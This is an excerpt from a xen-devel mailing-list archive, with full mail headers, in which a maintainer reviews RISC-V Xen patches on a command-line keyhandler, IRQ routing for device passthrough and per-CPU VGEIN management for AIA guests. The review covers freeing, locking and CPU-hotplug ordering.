> -    KEYHANDLER('L', spinlock_profile_reset, "reset lock profile info", 0),
> +        KEYHANDLER('l', spinlock_profile_printall, "print lock profile info", 1),
> +        KEYHANDLER('L', spinlock_profile_reset, "reset lock profile info", 0),
>  #endif
>  
> +        KEYHANDLER('C', show_cmdline, "show saved command line", 0),

Why not insert at the appropriate slot in the earlier block outside of any
#ifdef?

As to the help text - in how far is "saved" relevant there?

> @@ -512,6 +514,12 @@ static void cf_check do_toggle_alt_key(unsigned char key, bool unused)
>             alt_key_handling ? "alternative" : "normal");
>  }
>  
> +static void cf_check show_cmdline(unsigned char key)
> +{
> +    printk("'%c' pressed -> showing saved command line\n", key);
> +    printk("%s\n", cmdline_get());
> +}

If this lived in kernel.c, the new cmdline_get() wouldn't be needed at all.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 07:18:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 07:18:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377200.1623385 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpL2D-0007I3-6c; Thu, 30 Jul 2026 07:18:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377200.1623385; Thu, 30 Jul 2026 07:18:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpL2D-0007Hv-3E; Thu, 30 Jul 2026 07:18:29 +0000
Received: by outflank-mailman (input) for mailman id 1377200;
 Thu, 30 Jul 2026 07:18:27 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpL2B-0007Hn-3V
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 07:18:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpL27-007xx4-Sy
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 09:18:23 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6afab1-e002-0a2a0a5209dd-0a2a450591b6-22
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 09:18:23 +0200
Received: from [209.85.221.54] (helo=mail-wr1-f54.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6afabf-4cb1-0a2a45050019-d155dd36edbf-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 09:18:23 +0200
Received: by mail-wr1-f54.google.com with SMTP id
 ffacd0b85a97d-47ddf7b09e5so1855448f8f.1
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 00:18:23 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fc8941717sm3719113f8f.34.2026.07.30.00.18.22
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 00:18:22 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785395903; x=1786000703; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=58tasoTcyOoWqv+JenkfyeG0hVZf1YkGYryOdAuwfL0=;
        b=KV/U8kETiDHSAwn+w5vnKXCOCWOYfmQm/mUVfBEt5rDQ00j4P19C3qNlonQIyi+FVh
         EiBx4X0DhhwMBFwdYBpjlO+Bcd27XTGx+cQdN6/WvAaanphmJ8yP7m8dlyLFGeR4qN94
         DTxlhnuLefo7WuUVwjIhIwVf4pA/DEgTKsHgHCNAQagCJT+mm0seLSTxwDl97iAnL0JT
         pZ5oid3/D8Sz0c0YDKYZuF1KqcxrBySPi2g73mxEPGYV9tN5AKF9BgRzpCdhOgakiCw2
         XOlO/DP9JidvKQ5wWiEwV9fpW7KQM//X09L7yCf1m/sEySKehrLfGQsVZL+gNCor2fwK
         iyQQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785395903; x=1786000703;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=58tasoTcyOoWqv+JenkfyeG0hVZf1YkGYryOdAuwfL0=;
        b=YSmn++6wodyOAJgqxs3KIk+pqWhBfsXhqsdlL5F6QPdUm+NX5n+JAC/myQ4sfm9Niy
         UAL7oXnPchSxd3Fwx/V5kBNTEXTYhdw6Yvb3pgsokrJt6tlA+eg+1TAA6Jb9elyLdkRF
         N9oNVCjUVOU5a+xPX6oi2RzV3WXaKYvx+a9Jtwgh1Plcs6dpG74uiE18xJH/0ibQCwTQ
         DsqTakIYK3R34uwxCe2tgrHgjaZs64KttaQAlbnj1ViYSOmVpSqHUM5kZY/c/ueDh746
         14fhOkHSuNYIIJYMgs0L4SpiQCx2Amq5fc95m38YGQ4FvhzzcqZnAHsPRFt+S24XdVzO
         umJw==
X-Forwarded-Encrypted: i=1; AHgh+Ro5JygGwfqkDyQB+gbD1PumuYBtYv1osoUy4Q+IDcCeLNE/WkDT6aXMlfN6kAlPk7MGuwJ1LVyUCtM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwXUz3ZGvjltKXQEA/kyZMSvd+SrVpZffRm9tEO/vb+MXDgD06r
	30sFj/pUNQHwWybndc9W4J5qREciSTp5AALESrbboUAQBUyrvsxbfVvmeYLJnrhL7g==
X-Gm-Gg: AR+sD103TJEPE+nSA7RCihD8PpidZ6194HNqN6uDOwSuZOTWbj43ByqZ0eqReW0LEPs
	HyYqBCUryaFcYzGvgsRGxx+WjOx/CE7fwS5jaMlLvCwIxw8+EbgZvGhfE74MQX/qZWcQBNHniZ2
	X2A38KEg9PFm2UTL0fynZt7rhzPojLWbXXEMZJaLXvjXjhIR4BXTxKVT1xt1vYpx2jQZppACOKw
	GUMmcBhRY7WHjEdWiF0Z73apY386o2RSia7DbzxR1OOAnmpeLQ4XbeTeBMlgG/1ktguRGRQeJEt
	urcfFACkg046EJLYjkfBTuuwl7yc+UFN5dyCWn3qJfU3cMTodk6az7ytFC+LVRk6rY93RsLYB/g
	dL/pCHulEAVn3De/ar2uqg6jUZAh+3gEt7L9NG+ZHLxlbv5XKNiatOBYi90oyi0mDPa/NcsXgEb
	XEkCYAIEs8YmZzVC/dqd3KPeDfRqs39+9U8Iq/OEsJTNQeYp/P/FKedwVAuzml7umkKoMC6hsX/
	/2qgK0E+acs3lIPqwOgY2Ey3CETcprlzdp5cwWMUelAOo3bGdy70FUR0ct4EqLZ
X-Received: by 2002:a05:6000:2683:b0:47f:9404:80d7 with SMTP id ffacd0b85a97d-47fc820d689mr1647986f8f.46.1785395903187;
        Thu, 30 Jul 2026 00:18:23 -0700 (PDT)
Message-ID: <ea3417c9-bf6a-4b07-9a74-d9a767a87c9e@suse.com>
Date: Thu, 30 Jul 2026 09:18:21 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 18/23] xen/riscv: implement IRQ routing for device
 passthrough
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <c489a420b1c01c5312773c2e2b51f63d3babf855.1784559209.git.oleksii.kurochko@gmail.com>
 <c64fc958-73bb-44ed-a3b2-dc368ce675ac@suse.com>
 <6cebc63c-2f21-4ef8-ab10-e2ec62f887b7@gmail.com>
 <534eef4c-7f5d-4565-97b8-e0cc3b3290c2@suse.com>
 <5c5f04e2-56fb-42b5-b49c-faebac313c54@gmail.com>
 <756041b3-14e2-4c1d-bbee-548ca3bea349@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A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-4c1d-bbee-548ca3bea349@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1785395903-F54AC2A1-19DF21A1/0/0
X-purgate-type: clean
X-purgate-size: 2944

On 29.07.2026 17:23, Oleksii Kurochko wrote:
> 
> 
> On 7/29/26 5:02 PM, Oleksii Kurochko wrote:
>>
>>
>> On 7/29/26 4:15 PM, Jan Beulich wrote:
>>> On 29.07.2026 13:59, Oleksii Kurochko wrote:
>>>> On 7/23/26 3:30 PM, Jan Beulich wrote:
>>>>> On 20.07.2026 17:59, Oleksii Kurochko wrote:
>>>>>> +/* Route an IRQ to a specific guest */
>>>>>> +int route_irq_to_guest(struct domain *d, unsigned int virq,
>>>>>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  unsigned int irq, const char *devname)
>>>>>> +{
>>>>>> +Â Â Â  struct irqaction *action;
>>>>>> +Â Â Â  struct irq_guest *info;
>>>>>> +Â Â Â  struct irq_desc *desc;
>>>>>> +Â Â Â  unsigned long flags;
>>>>>> +Â Â Â  int retval = 0;
>>>>>> +
>>>>>> +Â Â Â  if ( d->is_dying )
>>>>>> +Â Â Â Â Â Â Â  return -EINVAL;
>>>>>> +
>>>>>> +Â Â Â  desc = irq_to_desc(irq);
>>>>>> +
>>>>>> +Â Â Â  /*
>>>>>> +Â Â Â Â  * release_irq() frees this action via xvfree(), relying on 
>>>>>> action
>>>>>> +Â Â Â Â  * being the first member of struct irq_guest so that &info- 
>>>>>>> action
>>>>>> +Â Â Â Â  * coincides with info itself. Guard the layout so a future field
>>>>>> +Â Â Â Â  * reorder can't silently turn that into a free() of a mid- 
>>>>>> allocation
>>>>>> +Â Â Â Â  * pointer.
>>>>>> +Â Â Â Â  */
>>>>>> +Â Â Â  BUILD_BUG_ON(offsetof(struct irq_guest, action) != 0);
>>>>>
>>>>> Can't release_irq() simply use container_of()? One way or another it 
>>>>> feels
>>>>> like you're painting yourself into a particular corner ...
>>>>
>>>> If it isn't the best option then it is needed to follow they way we had
>>>> before:
>>>
>>> I don't understand why you think you need to go back.
>>
>> Because, based on your replyâ€”specifically, "One way or another it feels 
>> like you're painting yourself into a particular corner..." â€” it seems 
>> that even if I replaced BUILD_BUG_ON() with container_of() in 
>> release_irq(), you would still consider it a bad solution. Did I 
>> misunderstand your point?
> 
> One more thing: I'm not really sure it's safe to do the following in 
> release_irq():
> 
> if ( action->free_on_release )
>      xvfree(container_of(action, struct irq_guest, action));
> 
> release_irq() is a generic API, but this kind of allocation is only 
> needed for guest IRQs. Wouldn't it be better to set:
> 
> action->free_on_release = false;
> 
> for guest IRQs, and then free the memory in release_guest_irq() after 
> the call to release_irq()?

Perhaps.

> Wouldn't that be a better approach than calling 
> `xvfree(container_of(...))` from within the generic release_irq()?

Perhaps.

What I'd really like to see you do is come up with an approach that is
both self-consistent and future-proof. With the latter aspect meaning that
it should be (reasonably) easy to identify places that need changing if
e.g. the "->free_on_release is only ever one value" property goes away.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 07:42:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 07:42:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377218.1623395 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpLPo-0003SM-2N; Thu, 30 Jul 2026 07:42:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377218.1623395; Thu, 30 Jul 2026 07:42:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpLPn-0003SE-Tv; Thu, 30 Jul 2026 07:42:51 +0000
Received: by outflank-mailman (input) for mailman id 1377218;
 Thu, 30 Jul 2026 07:42:49 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpLPl-0003S8-O7
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 07:42:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpLPk-009upG-Il
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 09:42:48 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b0073-2eae-0a2a0a5409dd-0a2a4507ab60-2
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 09:42:48 +0200
Received: from [209.85.128.41] (helo=mail-wm1-f41.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b0078-b4ea-0a2a45070019-d1558029ec05-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 09:42:48 +0200
Received: by mail-wm1-f41.google.com with SMTP id
 5b1f17b1804b1-4954dff6536so10659445e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 00:42:48 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49800f0ebfasm35537325e9.2.2026.07.30.00.42.46
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 00:42:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785397368; x=1786002168; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=M+ls5KwDMuUUQW6hmqkZ101ofB2G945M+4tycLdrlT4=;
        b=KQrS+yBO887H76T2rqkMJew4dzAO7uh/LBq12HPvHkxuAXK7k0/ouYo+bQPFXhu1o/
         Q94qvTr3XwUQylh+Mh4CdmkRK9C5gnGBuq3EVKeaDgEEFJEM0vZbuFROm25V/fPTVdyJ
         Nmp8IKiZnmnHnkhSkjXmwv69aJO0ys4Y5S6QjTiOdFsSiAuKkNyMOupsWdmftwGR7Y68
         R6Muy/RTNqWBMg+ulaFz5xjKGYTrmZUInxOTQIio7RX0DzBXG/J29SBli7PhZIjnPm9V
         +VVqp9QnXvb6c0PNz8NnZwWvciLsrJ7VxYUE5L5BZyoev4e8IvnJZiURuE8XX3s6g/5L
         YjDg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785397368; x=1786002168;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=M+ls5KwDMuUUQW6hmqkZ101ofB2G945M+4tycLdrlT4=;
        b=R9sdVlNdABlg1OxuM6GLLcE7jzH5GPNifgD9fxtESfanSp1eRmkRb1pBPc++SCm3WB
         93dDRH9LBBuf1GYVEUNxKKpPG5/4N/QH1211sR+P8qRWlJOHGlbK9IBPmVBzzHfBR0bd
         POAzGuJVjm0HKoLVooqUfWBnCb2hk00oFGbA08e0LflNMy6XepTG3oRYJkcQmsTvNmKL
         hJ8dKZkjaElGmJkgLrnjUOHX9GQxRrHRUhpmSATiSEIs19aW7K0Q9U8T4y/glEgumU+x
         7MmHqRiOXahmGYEzKcH9DT6PZZwPl76EZK5F+Nnod8DtTNDDOxcpbadHHTyjGndtK2n+
         keEQ==
X-Forwarded-Encrypted: i=1; AHgh+RrBkqnMOPJ0WdKoMQnwvIGYPuQSPt+QG8pmnZSMyD1AlrF3vW63VEEJY9Ay2VFs0e/R7VD4UrHXfpQ=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxC0KCyJaZWiK0tKQCXPttsD6M6jzgVtYHre/+syru/PwwAZy7/
	arnQWE5ruH503gJC26wAdgNeuvEPBKdKNF2ijplGY5gAU3R1pHGEzfQtZGILIbYvxQ==
X-Gm-Gg: AR+sD10dv86dB9UZqWkLFbwcy2ArscnAUTOxIE4ZqO3dLc1z8Wu6yxVDgTDaM/cBmEe
	GEWZXfSmEf8JgWpexg837VHtj9uyMHAkvafORnbOpuHpxc3zoQGHjrnPemJdxExePPZHVLtcYnp
	ZULLErJA74ZbgBKkQCur6B5o9G6N7sFjc2X5h4YgCjMwKld/DITnvrbDW8coT0GbqT4x55acCCB
	prD4vnkdSaWEivlzeQvCsZ/Gj5SOFYn3oDAtTyL53TTsPXrNe9CSvj7rH/N+mscC4kvsdAEzP9g
	G0JFN2nA65XinbK4xh9NVxPgKlIwH6V6od0dg9EzBodxM4QSLTznpxCeyEalCtFBuQJPoXo5tdG
	fyIHX9EHjVuwFytKHULeQLENs1KaVTYb3Dn0gxQWn90LwY8sBn8Ge4kHwrGMaEBuMqX9obOdV/J
	kiBOMvmebULaQEcBqZ3qhs5RS8Rp+8KV1yUpiBNrBs9OdjxkEvIoLiELMjnEfQQTO7PaowQi66z
	iS/wVBg4YIUZw/L1tjTdUBNc5TbuP7hiID5Uquq66ntJFW/1R8d
X-Received: by 2002:a05:600c:4f8a:b0:495:472c:208d with SMTP id 5b1f17b1804b1-49800ebb090mr18278185e9.38.1785397367818;
        Thu, 30 Jul 2026 00:42:47 -0700 (PDT)
Message-ID: <489a1b05-4ae5-44ac-a73b-485669190b59@suse.com>
Date: Thu, 30 Jul 2026 09:42:45 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 02/17] xen/riscv: add basic VGEIN management for AIA
 guests
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <b141b8d976719bb9b76147cacfd5842fb7aac74e.1784560663.git.oleksii.kurochko@gmail.com>
 <6501f040-ea59-4e78-8854-030f786dbcf7@suse.com>
 <191a9ddc-9f37-4d26-9141-7dfaf88cb26c@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB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5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <191a9ddc-9f37-4d26-9141-7dfaf88cb26c@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1785397368-A66DAAE4-F16C21BE/0/0
X-purgate-type: clean
X-purgate-size: 5386

On 29.07.2026 16:55, Oleksii Kurochko wrote:
> On 7/27/26 5:41 PM, Jan Beulich wrote:
>> On 20.07.2026 18:02, Oleksii Kurochko wrote:
>>> It was decided to add support for IMSIC from the start instead of having APLIC
>>> operate in direct delivery mode, as it requires a trap-and-emulation approach,
>>> which is not optimal from a performance standpoint.
>>>
>>> AIA provides a hardware-accelerated mechanism for delivering external
>>> interrupts to domains via "guest interrupt files" located in IMSIC.
>>> A single physical hart can implement multiple such files (up to GEILEN),
>>> allowing several virtual harts to receive interrupts directly from hardware.
>>>
>>> Introduce per-CPU tracking of guest interrupt file identifiers (VGEIN)
>>> for systems implementing AIA specification. Each CPU maintains
>>> a bitmap describing which guest interrupt files are currently in use.
>>>
>>> Add helpers to initialize the bitmap based on the number of available
>>> guest interrupt files (GEILEN), assign a VGEIN to a vCPU, and release it
>>> when no longer needed. When assigning a VGEIN, the corresponding value
>>> is written to the VGEIN field of the guest hstatus register so that
>>> VS-level external interrupts are delivered from the selected interrupt
>>> file.
>>
>> And when exactly is this "assignment" intended to occur? vgein_assign() and
>> vgein_release() have no callers here, so this remains entirely unclear.
> 
> [A] Agreed, I should have added that information to the commit message:
> 
> VGEIN is assigned (via vgein_assign()) before jumping to the new vCPU 
> execution context (in continue_new_vcpu()) and is re-assigned during 
> vCPU migration from one pCPU to another.
> 
> VGEIN is released (via vgein_release()) on the old pCPU during migration.

That is, state of that vCPU is held in hardware for perhaps an extended
period of time after the vCPU was last de-scheduled. That's a fair
optimization (we do something similar on x86, albeit that has been
increasingly under question lately). However, doesn't this then require
sync_local_execstate() to become non-empty?

Furthermore, rather than having vgein_assign() fail when
find_next_zero_bit() fails to find an available ID, shouldn't you release
some other vCPU's ID, making it available for re-use?

>>> +static int cf_check cpu_callback(struct notifier_block *nfb, unsigned long action,
>>> +                        void *hcpu)
>>> +{
>>> +    unsigned int cpu = (unsigned long)hcpu;
>>> +    int rc = 0;
>>> +
>>> +    switch ( action )
>>> +    {
>>> +    case CPU_STARTING:
>>> +        rc = vgein_init(cpu);
>>> +        if ( rc )
>>> +            printk("AIA: failed to init vgein for CPU%u\n", cpu);
>>> +        break;
>>> +    }
>>> +
>>> +    return notifier_from_errno(rc);
>>> +}
>>
>> Where's the freeing of the allocation vgein_init(), when CPU bringup fails
>> or a CPU was brought down?
> I'll add the following:
> 
> case CPU_UP_CANCELED:
> case CPU_DEAD:
>      vgein_free(cpu);
>      break;
> 
> and:
> 
> static void vgein_free(unsigned int cpu)
> {
>      struct vgein_ctrl *vgein = &per_cpu(vgein, cpu);
> 
>      ASSERT(!vgein->bmp);

Does this hold in all cases? What migrates vCPU-s off of a pCPU going down?
IOW aren't you introducing an ordering problem between your notifier handler
and the scheduler's?

>      vgein->geilen = 0;
>      XVFREE(vgein->owners);
> }
> 
> I'm also wondering whether vgein_init() should be moved to 
> CPU_UP_PREPARE. If vgein_init() fails in CPU_STARTING, the hypervisor 
> will stop instead of simply ignoring the CPU.
> 
> However, in CPU_UP_PREPARE we don't yet know the value of GEILEN, which 
> is needed to allocate vgein->owners. As I understand it, CPU_UP_PREPARE 
> is not executed on the CPU that is being brought up.

But there's an upper bound, isn't there? Use that for preliminary allocation,
and re-alloc (best effort) from CPU_ONLINE?

Yet then I continue to question the presence of this array in the first place.
Something similar isn't needed elsewhere (afaik), and its intended use (as
said) doesn't become obvious here.

>>> +unsigned int vgein_assign(struct vcpu *v)
>>> +{
>>> +    unsigned int vgein_id;
>>> +    struct vgein_ctrl *vgein = &per_cpu(vgein, v->processor);
>>> +    unsigned long *bmp = &vgein->bmp;
>>> +    unsigned long flags;
>>> +
>>> +    if ( !vgein->geilen )
>>> +        return 0;
>>> +
>>> +    spin_lock_irqsave(&vgein->lock, flags);
>>
>> Because it's unclear where this is to be called from, it's also unclear whether
>> a lock is needed here (and if so whether a plain spin lock is appropriate).
> 
> Based on what I wrote in [A] above a lock is defintely needed as it 
> could be that vgein_release() is called for old pCPU during migration 
> and at the same time old pCPU could call vgein_assign() so we want to 
> keep vgein bitmap consistent.

Can this really happen? It almost sounds as if you were suspecting
context-switch-in could race with context-switch-out. Yet again - none of
this can sensibly be discussed without seeing how / where the functions are
to be used.

> Regarding why _irqsave() it is mostly connected to ...

Why the mention of _irqsave? My use of "plain spinlock" was meant to contrast
to the possible use of an r/w lock.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 07:54:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 07:54:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377237.1623404 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpLaX-0005Sh-1L; Thu, 30 Jul 2026 07:53:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377237.1623404; Thu, 30 Jul 2026 07:53:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpLaW-0005Sa-S1; Thu, 30 Jul 2026 07:53:56 +0000
Received: by outflank-mailman (input) for mailman id 1377237;
 Thu, 30 Jul 2026 07:53:56 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpLaV-0005ST-W8
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 07:53:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpLaV-00Gg0V-Cp
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 09:53:55 +0200
Received: from [10.42.69.6] (helo=localhost)
